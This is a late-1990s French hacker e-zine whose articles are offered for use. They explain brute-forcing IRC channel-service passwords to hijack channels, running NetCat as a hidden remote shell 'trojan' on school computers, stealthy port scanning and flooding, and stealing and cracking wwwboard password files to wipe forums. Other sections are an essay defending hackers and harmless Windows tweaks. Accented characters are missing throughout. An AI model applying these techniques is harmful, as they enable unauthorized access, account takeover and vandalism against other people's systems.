OSF/1                   /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x          /tcb/auth/files/<premire       *
                        lettre du username>/<username>
DG/UX                   /etc/tcb/aa/user/               *
EP/IX                   /etc/shadow                     x


PS: Ce bug ne marche que si la cible a le service
    NFS install.

    
                       Onyx.le.francais.de.service ;]			 


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O6]  _|_|    MEQ Secondaire 5 : Production Ecrite                                          
 \_________/_/                 So CalleD                    _ ______ __ _  _
                     When a final Exam takes only 5K      _/_/ [By:{NuAgE)]  \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


Voici un fait veridique, pour vous montrez que meme l'opinion des
profs changent :-)


Production crite du MEQ de secondaire 5
Rsultat : 94%

Les nouveaux moyens de communications, bnfiques ou malfiques?

Avec larrive des institutions financires sur Internet, beaucoup de 
genre qui sont trop occups avec leurs tches personnelles se sont 
tourns vers ce moyen pour effectuer leurs transactions financieres, 
mettre  jour leurs comptes et mme accomplir leurs achats 
(picerie, linge ou autre). Mais la question est :  Les nouveaux 
moyens de communication reprsentent-ils une menace pour la vie 
prive ?  Selon moi, non puisque ces pirates de linformatique qui, 
selon la plupart des gens, veulent percer le mystre sur la vie 
personnelle des autres peroivent ces recherches comme un jeu. Et, 
en plus, il y a un bon nombre de solutions qui permettent de faire ses 
achats en toute scurit.

Les pirates informatiques ne veulent, pour la plupart, que dpasser 
leurs limites, ce qui les rend pour ainsi dire, plutt inoffensifs. Selon 
Michel Venne dans Vie prive et dmocratie  lre de linformatique : 
 Des pirates de Qubec ont pntr quatre fois dans le systme 
informatique du Conseil excutif du Gouvernement du Qubec. Ils 
nont rien trouv. Mais ils auraient pu.  Ce qui me fait, une fois de 
plus, affirmer que ces pirates ne veulent que samuser. Sils avaient 
voulu trouver des renseignements personnels sur quiconque, croyez-
moi quils lauraient prise cette information. Michel Venne continue : 
 Dans lun des numros de NPC ( Northern Phun Co.,un 
regroupement de pirates informatiques qui nexiste plus maintenant 
mais qui publiait des magazines lectroniques ), jai lu la recette pour 
pntrer le rseau des bureaux de crdit Equifax.  Mme sils 
savent comment faire, cela ne veut pas ncessairement dire quils le 
font. Par exempl, moi, je lis le mensuel de IGA ( Illegal Granted 
Access, la relve actuelle de NPC ), alors, mme si je sais comment 
briser ou pntrer tel ou tel systme, je ne le fais pas. De puis, 
daprs Montreal Campus, plusieurs pirates informatiques mettre leur 
talent et leur connaissance au profit dune compagnie, voir Equifax, 
afin de trouver des failles dans leur systme. Ce qui me ramre  
vous faire comprendre que les pirates ne sont pas dangereux et que 
la svurit de vos renseignements personnels nest pas mise en jeu 
par eux.

De toute faon, les 80% des Canadiens qui craignent que leur vie 
prive soit menace, selon un sondage effectu en 1994 par la 
maison Gallup, on des moyens qui leur permettent de garder la 
confidentialit. Le Centre de rechercher en droit public ( CRDP ) de 
lUniversit de Montral a mis au point un cybertribunal. Ce moyen 
consiste  rgler les problmes de lenvironnement lectronique par 
voie lectronique. Ce qui empche les victimes de se dplacer au 
Palais de Justice et de payer des sommes gigantesques pour des 
conflits informatiques. Aussi selon Mathieu-Robert Sauv, dans Les 
diplms, plus de 30% des entreprises utilisent lencodage. Cette 
mthode permet davoir un numro didentification personnel ( NIP ) 
que seul lutilisateur connat. Ce procd est utilis pour la plupart 
des transactions financires  laide dune carte de dbit. Ce qui me 
permet de dire que les personnes qui ne sont pas confiantes avec les 
nouveaux moyens de communicatioon qui pourraient nuire  leur vie 
personnelle sont des gens qui ne font pas attention ou qui ne veulent 
pas se mettre  jour avec les nouvelles technologies.

Pour conclure, je vous rappelle que la majorit des pirates 
informatiques ne veulenet que dpass des limites et quile ne 
veulent pas faire de tort  qui que ce soit, et aussi quil y a plusieurs 
mthodes pour se protger des fraudeurs. Mais il y a une question 
que lon devrait se poser dabord et avant tout :  Les gens qui 
utilisent ces moyens sont-ils conscients du risque quils courent ? 

 ___________________
[Quotes of the month]\____________________________
[Space for rent... an other one in a iGA Zine.     ]

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O7]  _|_|            X/W Lockpicker 2
 \_________/_/                 So CalleD                    _ ______ __ _  _
                   Interesting stuff for Irc kiddies      _/_/   [By:__2]    \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


Ben vous avez surement vu deja la version 2 en ALPHA/BETA sur le site
voici donc la nouvelle version qui accepte les wingates, pas besoin
de vous faire un plan detailler, c'est identique au 1 (allez voir
les precedents magazines) mais cest de 8 a 20 fois plus vite :-) 
Comme tout le monde se mele dans mes programmes je vais vous expliquez
le principe et comment ca marche:

Principe: ESSAYER TOUT LES MOT-DE-PASSES POSSIBLES d'un account X/W
ou ATLAS sur undernet/infinitnet pour en trouver la cle et du meme
coup hi-jacker le canal :-]


Nouveau principe: 

Avant avec le 1.0 y avait first un bug quand on depassait les 65ko
de texte dans le tableau des resultats et cetait lent = 1 essaie au 6
secondes. IRC n'a pas changer pourtant, pour pas se faire ignorer
par X/W il faut essayer de logger sur un X/W/ALTAS a moins de 1 fois au
6 secondes. Mais c'est plutot le nouveau principe:

Prenons ce user:

Talamaska (*!*baka@null.net) -l:500

Mon programme prevoit que vous serez assez brillant pour comprendre
une chose, et cela tout de suite :-) qu'arrives-til si par exemple
un seul user spam X/W/Atlas au 6 seconde, rien! Mais si y en a 2
ca va pas marcher sauf si tu change les idents.

le premier ayant baka
si le 2-eme a baka2 ce qui va arriver cest que baka2
ne concordera pas a laccess X/W/Atlas. Mais il ne sera pas ignorer.
Donc X/W/Atlas ne fait pas un check de IP ou de NICK quand il s'agit
du flood. Donc vous n'avez qu'a charger par exemple 8 users:

Toto1!~abaka@null.net
toto2!~bbaka@null.net
toto3!~cbaka@null.net
toto4!~dbaka@null.net
toto5!~ebaka@null.net
toto6!~fbaka@null.net
toto7!~gbaka@null.net
toto8!~hbaka@null.net



Si vous observez bien, ils ont tous le meme ident sauf une lettre qui
change mais ils entrent tous dan le range du user:

Talamaska (*!*baka@null.net) -l:500


Donc ca marche, chose a retenir 8 mots de passe au 6 secondes cest 8 fois
plus vites, donc 1.25 mots de passes par secondes et imaginez si vous
prenez des wingates et un bon modemcable, vous pourriez facilement grimper
a 20-30 users. Donc 3-5 pass /seconde. Ca devient interessant. Le programme
marche bien entendu avec des wordlists alors c'est assez sweet.


Comment le programme marche:

Ouvrez le programme, et allez faire un SHOW CONSOLE.
Le reste des etapes s'en vient :}



First of all:
-------------

Le password file, en bas a gauche. Vous avez deja un password.lst
changer le par votre file. Clicker sur OPEN THE WORDFILE sinon ca va
planter par la suite. C'est vraiment important de faire ca au tout
debut pour bien suivre les etapes. Le fichier password doit etre un
fichier banal de succession de mots en format texte-ascii.

Dans LockPickers Setting, vous devez setter les configurations pour CHACUN
de vos robots, il n'y a pas de generateur de nick/ident automatique. C'est
assez simple a la base. Par la suite si vous regardez l'iconne USE WINGATE
ca va vous semblez familiez aussi :-)

Je crois que ce programme va interesser les addicts du IRc du millieux alors
ca sert a rien que je vous explique ou traduise se que NICK Veut dire :-)


                                                               __2.enjoy
 ___________________
[Quotes of the month]\____________________________
[Vous vous rappeler Pierro, il na pas changer...
[Il mange toujours ces frities McAine             ] 



                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O8]  _|_|                NetCat                                                             
 \_________/_/                 So CalleD                    _ ______ __ _  _
                    Read an you will know what it is!     _/_/   [By:_rix]   \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]

                                 NetCat
                                 ======
TCP/UDP, sockets, ports,... On entend ca partout mais on sait pas trop comment
chipoter avec :) Ou alors il faut commencer a se casser la  tete  a  apprendre
du C, puis a apprendre WinSock, puis a melanger les 2, puis... :)))))))))

Je vous propose cette fois-ci un petit utilitaire, tout petit, tout frais,
tout puissant, qui s'appelle NetCat.
D'abord je vous conseille d'aller tout de suite le chercher, comme ca ca sera
fait => http://www.l0pht.com/~weld/netcat/
Mais au fait, avant d'aller le chercher, j'aimerai bien savoir ce que ca fait
ce truc :)


INTRO
======
Ben voila. NetCat est un calibre utilitaire en ligne de commande, qui permet
de faire a peu pres tout ce que vous voulez avec des sockets.
Un socket, c'est une connection entre 2 ordinateurs.
Pour identifier un socket, il faut 3 trucs:
-les IPs des 2 ordinateurs connectes.
-les ports des 2 ordinateurs qui sont connectes.
-le protocole utilise.

Par exemple, quand je suis sur IRC sur #iga, mon mIRC utilise un socket
entre mon IP (ex:165.169.45.12)+un port temporaire (ex:1035) et l'IP du
serveur (antwerpen.be.eu.undernet.org)+le port du serveur (6667). Et le type
de connection est de type TCP dans ce cas-la.

Les avantages de NetCat ?
Il permet d'ouvrir facilement des connections quelconques (TCP ou UDP) sans
 savoir programmer, aussi bien pour crier des petits clients/serveurs, que
 pour tester un programme a vous :)
Il existe sur plusieurs systemes (Windows 95/98,NT,Linux,Unix,...)
Il est utilisable a la ligne de commande, ce qui va permettre de facilement
 l'incorporer dans des scripts, etc...

Enfin, vous pouvez aussi remarquer que toutes les sources sont disponibles...
Aussi bien dans la version Unix (assez habituel ;), quand dans la version
Windows (vachement plus rare, c'est pas le style de M-------t :)
En fait, c'est vraiment un programme a tout faire... On va voir ca un peu
plus en detail ;)


NETCAT CLIENT
=============
On va donc commencer par le debut :)
Pour ouvrir un socket, rien de plus simple. Par exemple, je veux me connecter
sur IRC. Je tape ceci:

NETCAT antwerpen.be.eu.undernet.org 6667

Et je me retrouve connecte sur le serveur antwerpen ! Tout ce que vous
taperez ensuite au clavier sera envoye directemment dans le socket, vers
antwerpen.
La vous me regardez en disant "tient il connait pas mirc suila, moi je trouve
pas ca trop marrant de me connecter sur irc avec struc de fou".

NetCat est un outil a tout faire. Il permet simplement de gerer un socket.
D'envoyer... De recevoir... Pas plus... Ca veut dire qu'il ne connait aucun
protocole comme IRC,FTP,etc... Mais ca veut dire aussi qu'il nous affiche
exactemment ce qui se passe dans la connection, qu'il n'effectue aucun
traitement, et qu'il envoie aussi exactemment ce que l'on veut qu'il envoie.
Certains vont ptet se dire que Telnet de Windows fait la meme chose...
Et la... detrompez vous hehe :)
Telnet envoie pleins de saloperies a votre insu ;)))

Justemment, a propos de Telnet, NetCat vous permet d'emuler la negociation
telnet. Kessa veut dire scharabia ? Ca veut dire que NetCat vous permet
justemment d'emuler un client comme Telnet, en envoyant les saloperies dont
je parlai en plus ;)

Pour cela, pas complique:

NETCAT -t <adresse_ip_d'un_serveur_telnet> 23

Et voila... Cette fois ci, plus de problemes, toute la negociation telnet est
faite par NetCat. Et vous voyez en plus ce qu'il envoie. N'est-ce pas
merveilleux ?


NETCAT SERVEUR
==============
Maintenant qu'on a un peu chipote pour voir ce que NetCat faisait en mode
client, nous allons essayer de faire un petit serveur.
Par exemple, nous allons ouvrir sur notre machine le port 21, et faire croire
a l'imbecile qui se connecte qu'il est tombe sur un Wingate :)))
Voici la syntaxe:

NETCAT -l -p 23

-l pour dire qu'on est en mode listen (on attend une connection sur un port)
-p 23 pour dire que le port sur lequel on attend la connection est le port 23.
On lance, et puis NetCat s'arrete...
Merde vla tout est plante !!! Ohh que non :)
Maintenant, on va lancer un petit client telnet, comme le telnet de Windows,
et on se connecte sur notre IP, port 23.
Par exemple, on lance le telnet de windows, "telnet 127.0.0.1 23"
Et qu'est-ce qu'on observe ? On observe que notre client telnet se connecte
bien sur notre petit serveur...
Maintenant, on tape dans NetCat une petite phrase, et magiquement, cette
petite phrase apparait dans le client Telnet.
Tant qu'on y est, on tape une petite phrase dans le client Telnet, et...
Et ben quoi elle s'affiche pas a l'ecran notre phrase ?
Pourtant, en allant voir dans l'ecran de NetCat, le serveur a bien recu notre
tite phrase :)
Qu'est-ce que je vous disait que Telnet vous cachait des choses hein ;)

Maintenant on deconnecte le client Telnet, et voila que NetCat se coupe.
Pas tres pratique un serveur qui se coupe apres une connection...
Pour cela, il existe une autre commmande:

NETCAT -L -p 23

Cette fois-ci, le "-L" majuscule annonce a NetCat qu'il doit attendre des
connections en permanence. Voila qui est plus pratique :)

Un autre exemple:
Lancons ceci:

NETCAT -l -p 80

Puis, nous lancons Internet Esplorer sur l'adresse "http://127.0.0.1".
ensuite, on retourne vite dans NetCat, et oh ! sacrilege ! damnation !
En regardant un peu mieux les lignes que Internet Explorer envoie au serveur
web (NetCat ici), on comprend aussi un peu mieux comment il font pour savoir
tout ce qu'il y a sur notre machine, chez Microsoft ;)))

Ouaip c bien tes trucs, mais pour revenir au Wingate, si je dois chaque fois
qu'il y a une connection qui s'ouvre, taper tres vite "Wingate>" pour simuler
un Wingate, ca risque de paraitre assez louche, et de vite m'emmerder
surtout :)
Et c'est la qu'apparait le genie de NetCat... :)


REDIRECTIONS ENTREES/SORTIES
============================
Du fait qu'il est utilisable a la ligne de commande via des parametres, NetCat
va nous permettre de facilemment le programmer et l'utiliser dans des petits
scripts (aussi un batch sous Linux qu'avec un .bat sous Dos/Windows).

Nous allons donc creer un petit fichier wingate.txt, qui contient la ligne
suivante:
Wingate>

Ensuite, nous lancons la commande suivante:

NETCAT -L -p 23 < wingate.txt

Ensuite, on relance notre client Telnet.
Et la ! Magie :)
Qu'est-ce qui se passe ?
NetCat, a la place de recevoir les caracteres du clavier, va les chercher dans
notre fichier wingate.txt, et les envoie tel quels. N'est ce pas formidable ;)

Et si nous voulons logger tout ce qui est tape a notre faux Wingate ?
Ben nous lancons ceci:

NETCAT -L -p 23 > wingate.log

Et le tour est jouer :)
Maintenant encore plus fort ! hehe :)
Ouaip c'est pas mal ca, mais bon le texte dans le fichier je ne sais pas le
changer une fois que c'est lancer tout ca. Ca reste quand meme fort fictif...

Maintenant, nous allons essayer de nous programmer un petit serveur qui va
nous permettre de controler notre ordi a distance :)

NetCat permet les redirections a partir d'un fichier, en entree, et en sortie.
Mais NetCat permet aussi de rediriger les entrees et sorties d'un programme
vers un socket :)
Lancons plutot:

NETCAT -L -p 23 -e c:\command.com

Ensuite, nous lancons "Telnet 127.0.0.1 23".
Et voila que notre command.com s'affiche dans notre fenetre Telnet :)
Donc en reflechissant bien, si vous savez programmer en GWBasic (sorti en
1852 :)))), et que vous savez utiliser PRINT et INPUT, vous allez sans
probleme pouvoir creer un beau petit shell pour votre Windows ;))))
En fait, grace a cette option, si vous savez programmer un programme qui
utilise les interfaces standard d'entree/sortie (en Pascal, en C,...), vous
n'avez plus du tout a vous occuper de la programmation des sockets !!!
Il vous suffit simplement d'afficher et de saisir les donnees comme si c'etait
un programme a la ligne de commande et c'est NetCat qui s'occupe de tout gerer
via un socket.

Tient, encore une petite option interessante, mais uniquement pour Windows
celle-la (jpense que c la seule, rulez pas les linuxiens quoi ;)
Ca vous tenterait hein d'installer un beau petit shell comme ca sur un ordi
dans votre ecole hein ? hehehe. Je le voit dans vos yeux :)
Tapez un ti peu:

NETCAT -L -p 23 -d -e c:\command.com

Et voila qu'il sort tout de suite !
Lancons tout de meme Telnet, pour etre certain.
Tient tient... Voila que Telnet est connecte !!!
L'option -d detache simplement NetCat de la console, ce qui fait qu'il reste
actif en memoire (on le voit dans la liste des taches), mais pas dans la liste
des fenetres :)
Pour faire un beau pti trojan sur un ordi, suffit donc de lancer cette
commande au demarrage, et un beau serveur s'installe tranquillement sur le
port 23 sans rien montrer a personne :)


HACKING
=======
Comme NetCat est un outil a tout faire, il peut forcemment aider a faire des
choses biens... et des choses moi bien...
Comme le dit a peu pres le mec de chez L0pht qui a ecrit le programme:
"si je vous donne un tournevis, vous pouvez aussi bien reparer ma bagnole
en utilisant ce ptit outil bien sagement que la foutre en l'air en bourant
dedans comme un malade" ;))))

NetCat contient toute une serie d'option qui sont orientee scan.
Scanner c'est avant tout essayer de voir quels sont les services disponibles
sur les ports d'une machine distante.

Pour cela c'est pas complique.
En fait, il suffit de taper une serie de ports a la place d'un seul port.
Par exemple, si on tape 1-100, NetCat va ouvrir des connections sur les ports
de 1 a 100. Le probleme est que NetCat ne nous indique pas comme cela le
numero du port ouvert. Il faut donc que nous utilisions aussi l'option -v
et meme 2x, "-vv", pour avoir des informations sur les connections.
Tapons par exemple:

NETCAT -vv 127.0.0.1 1-100

Cette commande va scanner les ports 1 a 100 de votre ordinateur.
Une fois ca lance, vous allez voir que NetCat va afficher des messages
"refused" sur tout les ports qui ne sont pas ouverts, et qu'il affiche entre
() le service courant qui se trouve sur ce port (quand il y en a un
specifique). Si le port est ouvert, NetCat affiche un message "Open".
Il faut aussi remarquer que NetCat scan du haut vers le bas. Par exemple si
on entre comme ports 1-100, il va scanner 100,99,98,...,3,2,1.

Pour changer ca, il existe une petite option bien pratique, -r.
Essayer un ti peu de taper:

NETCAT -vv -r 127.0.0.1  100-110

Si vous observez attentivement, on remarque que NetCat scan maintenant les
ports completement au hasard dans l'intervall 100 a 110.
Voila qui est bien interessant ! En effet, pas mal de systeme de protections
de scan sont bases sur une detection sur des ports consecutifs :)))

NetCat n'est pas limite, on peut entrer toute une serie de ports.
Par exemple, on peut scanner de cette maniere:

NETCAT -vv -r 127.0.0.1 1-1024 4900-5000 6667

Dans ce cas, NetCat va donc scanner les ports de 1 a 1024, les ports de 4900
a 5000, et le port 6667. Cependant, il est utile de remarquer que l'option
-r ne travaille que par range, c'est a dire que NetCat va scanner tout les
ports de 1 a 1024 au hasard, puis passer au range suivant, et non pas scanner
tout les ports au hasard dans n'importe qu'elle ordre.

En fait, dans ce cas-ci, des que NetCat trouve un port ouvert, il s'arrate,
et permet d'envoyer des donnees a ce port. Pour effectuer un scan rapide, qui
ne s'arrete pas si le port est ouvert, il faut utiliser en plus le switch -z.
Par exemple:

NETCAT -vv -r -z 127.0.0.1 130-140

au niveau des ports, NetCat supporter l'envoi a plusieurs ports en parallele
(c'est ce qu'on fait pour scanner en fait ;), mais on peut aussi utiliser ca
pour flooder. Par exemple, on peut taper la commande suivante:

NETCAT 127.0.0.1 139 139 139 139 139 139 139 139 139 139

Voila je pense que c'est a peu pres tout au niveau des ports scan,etc... :)


DIVERS AUTRES TRUCS
===================
La premiere chose est que toutes les options dont j'ai parle peuvent etre
aisemment combinee, aussi bien en tant que client, qu'en mode serveur, ou
qu'en scannant.
Par exemple, on peut ouvrir une connection vers un serveur en specifiant un
port source sur le client bien precis:

NETCAT -p 65000 www.antwerpen.be.eu.undernet.org 6667

Dans ce cas-ci, par exemple, ca va permettre au client d'etre connecte avec
comme port local le port 65000, ce qui est un port tellement haut qu'il faut
deja y aller pour essayer de vous deconnecter, par exemple avec un Click
(ICMP Nuke), qui d'habitude attaque les ports d'allocations temporaires, qui
generalement sont les ports de 1024 a 5000.

NetCat possede une petite option diablement interessante ! :))
Il s'agit de l'option -u.
Cette option permet de creer des sockets UDP a la place de sockets TCP.
La chose la plus interessante est probablement de scanner des ports UDP a la
place de TCP, en utilisant les options -z et -u. En effet, il n'existe pas
beaucoup de bons scanners UDP sur le marche, mais par contre il existe pas
mal de services qui sont implementes sur des ports UDP ! (DNS,TFTP,...);)))

Il y a aussi une option de time-out, -w.
Par exemple,

NETCAT -w 5 antwerpen.be.eu.undernet.org 6667

va arreter netcat apres 5 secondes si la connection n'est pas etablie.

Il y a aussi une option -i, qui permet de specifier un delai de scan, pour
ne pas scanner trop vite (ce qui parait souvent louche, et est facilemment
reparable).
Par exemple, pour scanner en essayant le moins possible de se faire remarquer,
on peut taper la commande suivante:

NETCAT -vv -z -i 10000 -r 127.0.0.1 1-200

qui va scanner toutes les 10000 millisecondes (tt les 10 secondes) un port au
hasard sur la machine 127.0.0.1, de 1 a 200.

Une autre option tres interessante, particulierement pour debugger des
programmes ou analyser des protocoles, est l'option -o.

Par exemple, en tapant:

NETCAT -o netbios.log 127.0.0.1 139

NetCat va logger dans le fichier netbios.log toute les octets recus, mais
sous forme de dump hexadecimal, ce qui est assez pratique dans certains cas:)

Pour ceux qui connaissent TCP/IP en detail, NetCat contient aussi une option
qui permet d'envoyer des packets "source-routed", donc des packets qui sont
envoyes via des routers dont on specifie les IPs, grace aux options -g et -G.
Et enfin, NetCat supporte aussi le choix d'un IP dans le cas d'un ordinateur
relie a plusieurs interfaces d'IPs differents.

Pour terminer, si vous avez un petit probleme, n'hesitez surtout pas a taper
la commande NETCAT -h , qui affiche un resume de toutes les commandes
disponibles, puis je vous conseille aussi de lire le petit fichier .TXT
fourni avec NetCat, qui explique pas mal de petits trucs interessants a faire
avec NetCat.


 ___________________
[Quotes of the month]\____________________________
[Dit papa, est-ce qu' il y a du colerol dans ces 
[frittes.. je le sais pas ma chouette mais le chien
[en a meme pas voulu!                               ]


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O9]  _|_|         Wyze hack presto-pack                                       
 \_________/_/                 So CalleD                    _ ______ __ _  _
          muv to jail dont pass go and do not claim 200$  _/_/ [By:Wyzeman]  \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]

 

	Dans ce text  que  l'on  pourrait  considere  comme une sorte 
de melting pot sur un  peu  tout  ce  qui  ma  passee par la tete, je  
parlerais  entre autre, du  flood  irc   en   telnet  (  wow,  IRCWAR  
for  leet  haxor ),  wwwboard, quelque truc  easy  a  faire  sur  les  
site  web et comment modifier le look like de votre windows a main. 



                               IRC flood 


	irc  flood c'est facile vous allez dire, ya vous avez raison.
pas ce flooder soi  meme,  sa  semble  un  peu  plus  compliquer pour 
certain. flooder sur irc  c  lame,  vous  avez  parfaitement  raison, 
pourquoi j'en parle? et  bien  bof,  j'ai  decouvert   une   nouvelle 
technique  l'autre  jour  a  job ( hehe, chu payer pour developper so 
called j'ai  tu rien a faire a votre gout :]). C'est rien de vraiment 
compliquer et je ne me souvient pas pourquoi jai trouver se bug. 


1ere etape : se connecter

unix :

ouvrire un shell et taper 

telnet cservice.undernet.org 

apres quelque enter vous devriez avoir ceci


                           ___      ____      ____
                          (   )    /  __)    / ___)
                           | |    (  (__     \___ \
                          (___)    \____)    (____/
    This administration specifically disclaims any responsiblity or  legal
    liability  for  the  content,  structure and purpose of Internet Chat.
    Internet Chat is an  unmanaged  discussion  protocol,  individuals are
    forwarned that the content, structure and purpose are without specific
    form  or  control.  These  resources  are  not  to be used for illegal
    activities.
    If  this  is  unacceptable  please  QUIT NOW. This server specifically
    FORBIDS  its indirect use to participate in illegal activities. If you
    observe  illegal  activity,   please  contact  the  appropriate  legal
    authorities  and  the  ISP  of the offender immediately with collected
    logs of the evidence.

 Server name: services1.undernet.org
 There are 37139 users on 17622 channels

 Please report any problems to <support@chatsystems.com>

 Nickname:                                                                     


vous n'avez  qua  taper  le  nick  que  vous voullez, et vous voici 
connecter en mode telnet au serveur cservice.undernet.org  (     un 
server de developpement pour irc ). 

il  ne  vous  reste plus qua faire un massive cut/paste paste paste
paste paste paste paste, tk vous comprennez le principe. 

windows.

deconseiller,  le  mode  chat  en telnet nest pas tres efficace, la 
technique  est la meme, mais, bon, ca reste windows ( tien premiere 
fois je chiale contre windows notez le bien ).


                             wwwboard

	les anciens qui date des BBS se souviendrons surement de la 
section forum, en fait, cetais la plus part du temps le  coeur  des
BBS ( outre les 500 meg de pic XXX ).  les  plus  nostalgiques,  on 
donc  installer  des  forum de discution un peu partout sur le web. 
alors  comme  tout  bon usager , vous allez poster un "mail" sur le 
forum  mais a votre grand desarois, le webmaster a pas juger bon de 
conserver  votre message? mais vous, vous croyez vraiment que votre
message est  important, alors vous desirez le reposter tout en vous
assurant  que  votre  message  y restera? he bien cest simple, tres 
simple,


trop simple meme si votre forum preferer roule sur un wwwboard  2.0 
ou  version precedante. 


comment l'on va proceder? et bien, nous allons dans un premier lieu
aller recupere le password file. un fait maran, dans  les  premiere 
version  du  wwwboard,  le  passwd  file,  n'est meme pas ecrypter, 
autrement  dit,  c'est  comme  si  je laissais ma porte den arriere 
debarer avec  une invitation particuliere a qui aimerais bien venir 
me voler. Dans la  version 2.0 le password est encrypter, mais bon, 
quelque minute  dans  les  mains de john the ripper, et il n'en est 
plus rien. les autres version  sont  plutot  bien encrypter alors a 
moin davoir une bonne raison de vous y attarder, laisser faire. 



etape 1) allez chercher le passwd files

dans un wwwboard, la passfile se  trouve  dans  le repertoir
../wwwboard/passwd.txt par defaut, or  nombre  de  webmaster 
omette d'en changer le nom, ou ne  sous  totalement  pas  au 
courant  de  ce  hole  dans  leur securiter. 


etape 2) quoi faire avec le fichier passwd

si comme mentionner precedament,  vous  tomber sur une tres vielle 
version, et bien vous aurez le user/pass  d'indiquer, en txt, vous
n'avez plus qua aller  dans  ..../cgi-bin/wwwadmin.pl pour effacer 
le contenue du wwwboard,  y  poster  votre  message, et changer le 
mot  de pass, pour que votre message ne puisse  pas  etre  deleter 
aussi facilement que la premiere fois :]


le  truc   du   mois  :]   prennons  par  exemple  le  url suivant 
      http://www.nowhere.com/groupe/user/info/index.html      vous 
verrez  donc,  le  index.html  comme dans toute page  web  normal.
lastuce, ces  de  remonter  les  repertoires un apres l'autre,  un
peu souvent y  trouvez  des  chose   interessante  auquel  on   ne 
voudrais pas que vous ayez access.


second truc du mois: changer le http:// pour ftp:// la aussi 
vous pourriez y decouvrir quelque tresors :]


		        mon ami windows


	beaucoup  de  hacker, se plaise a denigrer windows et a en
rire, preferant se compliquer la vie a runner linux. Les linuxiens
se plaise a dire, que  en  windows  on  ne peu pas rien faire, que 
nous somme prisonnier de notre OS, ( cest  gars  la  devrais aller 
voir sur un mac si on peu en  faire  autant  que  sous  windows ). 
Bref toujours est til que avec  un  minimum de talent vous pourrez
modifier votre windows, en le  rendant  un  peu  plus  personnels.
c'est  ainsi  que  nous  allons allez jouer dans le regedit (entre 
autre). 



	tanne de voir win95 ou win95 avec des nuages a chaque fois
que vous starter windows??? 



	sous  windows 95, il existe un fichier, dans le repertoire
racine,  logo.sys,  qui represente le logo de chargement de win95.
si vous netes pas sure,  faite  une sauvegarde du fichier dans un
autre repertoire, et changer  l'extention pour .bmp il vous serat
alors possible de voir le fameux logo.  pour  le  changer,   cest 
simple,  vous  n'avez  qu'a prendre n'importe quel logo optimiser 
320x200 8bit 256 couleur ( ca va etre plus beau ) et etirer le en 
320x400. vous  n'avez  plus  qua  remplacer  l'ancien logo.sys du 
repertoire racine.


	sous windows98, il n'existe pas de fichier logo.sys, mais
nimportequelle      bmp       renomer     logo.sys possedante les 
caracteristiques  mentionner precedament se charchega automatique 
a chaque boot de   votre  pc et vous n'aurez pu la jolie image de 
demarage :]. 

	ps:  il  est aussi possible d'effectuer le meme travaille
avec logow.sys et  logos.sys  qui represente vos logo de sorti de
windows, mais bon pour ma par  je les vois pas jamias puisque mon
pc est ouvert 24h/24h et que je  reboot  a  laide de ctrl-alt-del 
del.  pour les plus lache d'entre vous qui ne veulle pas perdre 1 
heure  de leur "precieux??" temps, vous pouvez toujours faire une 
recherche  sur altavista de logo.sys et vous trouverez bon nombre 
de  page  qui offre des package ( some kind of theme ) pour votre 
pc.  


the mighty recycle bin


	tanner  de jetez vos d'echet  dans le recycle bin ou dans 
la  corbeille  si  vous posseder un windows version francaise, et 
bien vous  pouvez changer son nom dans le regedit. comment faire, 
et bien s'en est d'une stupiditer assomante. faite /run regedit a 
partir  de mirc  ( he oui, on sais que vous etes toujours la :] ) 
ou  employer la fonction run (executer??) du menu start (demarer) 
et  taper  regedit,  aller  dans  l'indic "edit"  et descender le 
curseur  a find, et faite votre recherche sur recycle, il ne vous 
restera plus qua changer les valeurs ( dans le coter droit ) pour 
ce que  vous desirez, waste par exemple. assurer vous davoir fait 
le tour pour pas vous ramasser avec un mixte de recycle bin et de 
waste :]

vous pouvez par la meme methode changer le nom de pas mal tout ce 
qui vous vien par la tete qui existe dans windows. cependant, je
ne vous conseille pas de trop faire de changement surtout pour ce
qui a trait a explorer.exe.



je mexcuse pour la faciliter de cest petit truc, mais c  desolant 
de voir qu'il y a du monde qui ne les connaissent pas encore donc 
jai  cru bon de glisser un petit mot sur se sujet.

enjoy
Wyzeman

 ___________________
[Quotes of the month]\____________________________
[Hey McCaine, qu'est-ce que ta fait a mes frites?
[Bah on a juste rajouter plus de chimiques        ] 



                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.1O]  _|_|               L'Anarchie
 \_________/_/                 So CalleD                 _ ________ __ _  _
                     Les acneens en puissance          _/_/  [By:Gandalf]  \
  ___________________ __________________ _________ ___/_/_  __ _ __ _  _  _,]



       Peut importe la facons dont vous voyer lanarchie sachez que ce
nest pas une guerre civil ou tout le monde se tape sa  yeule , le feu
est prit partout , y a des coup de gun qui sont shooter,plein de sirne
qui sonne.  Ouin bon.. lanarchie nest pas une sorte de monde a la Mad
max..

   Mais cest plutt un monde sans loi ou tout le monde est a  sa place
Donc pas de patron, pas de police, pas de gouvernement, pas de problme!
Imaginer que vous vous lever un matin et que  lanarchie  a  triompher,
quesqui va avoir de changer???  RIEN! Vous  aller  travailler   encore, 
vous allez encore rouler a 100-120km Sur la route et... Mais! Une chose 
va tre changer!  Cest  la  profonde  place  que  les  patrons  et les 
dirigeants  prennais de votre vie vous naurez plus le sentiment detre 
dirig vous  naurez plus la crainte de perdre votre emplois vous aller 
tre libre de faire se qui vous plait! Mais vous garderez quand mme un 
semblant de jugement. Vous ne devez pas rouler a 160km sur lauto-route 
mais ou moins,Vous avez le droit de le faire, et CA! Cest dj un bien 
grand pas. 

Comment  en  venir  a  lanarchie?  avec les pissou et les gros bras de 
notre  poque  cest  pratiquement  impossible, pourquoi? Les pissou ne
feront  rien  et  les  gros bras passeront par la violence, la violence
est une solution mais les rpercutions .

